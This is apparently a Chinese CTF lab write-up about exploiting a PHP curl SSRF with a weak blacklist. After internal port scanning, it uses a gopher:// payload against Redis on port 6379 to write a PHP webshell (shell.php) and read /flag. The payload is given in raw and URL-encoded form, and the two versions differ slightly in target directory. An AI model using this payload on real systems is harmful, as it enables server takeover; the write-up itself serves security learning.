目录
1.环境
首先下载资源包,Ubuntu通过docker拉取环境。
docker-compose up -d
2.分析源码
<?php
highlight_file(__file__);
function curl($url){
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, 0);
echo curl_exec($ch);
curl_close($ch);
}
if(isset($_GET['url'])){
$url = $_GET['url'];
if(preg_match('/file\:\/\/|dict\:\/\/|\.\.\/|127.0.0.1|localhost/is', $url,$match))
{
die('No, No, No!');
}
curl($url);
}
if(isset($_GET['info'])){
phpinfo();
}
?>
查看代码发现,存在url接收参数,传递参数尝试是否含有ssrf,发现确实存在ssrf。
但是查看代码发现,过滤了file、dict、localhost等,过滤dict是为了防止探测端口。
可以尝试一下url能不能有打印的东西
这里看见了,打印了两次也就是读取了两次文件,我就可以尝试使用端口探测burp
除了80端口也就2.3有点可疑
可以看到6379的端口也开放着,访问一下出现redis的报错就可以攻击了
3.开始攻击
gopher://172.20.0.2:6379/_*1
$8
flushall
*3
$3
set
$1
1
$23
<?php system(`id`);
*4
$6
config
$3
set
$3
dir
$13
/var/www/html
*4
$6
config
$3
set
$10
dbfilename
$9
shell.php
*1
$4
save
gopher%3A%2F%2F172%2E20%2E0%2E2%3A6379%2F%5F%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252423%250D%250A%250A%250A%253C%253Fphp%2520system%2528%2560id%2560%2529%253B%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252420%250D%250A%2Fvar%2Fwww%2Fhtml%2Fupload%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25249%250D%250Ashell%2Ephp%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A%250A
要进行url编码在攻击
<?php system(\"cat /flag\");?>来拿flag
成功了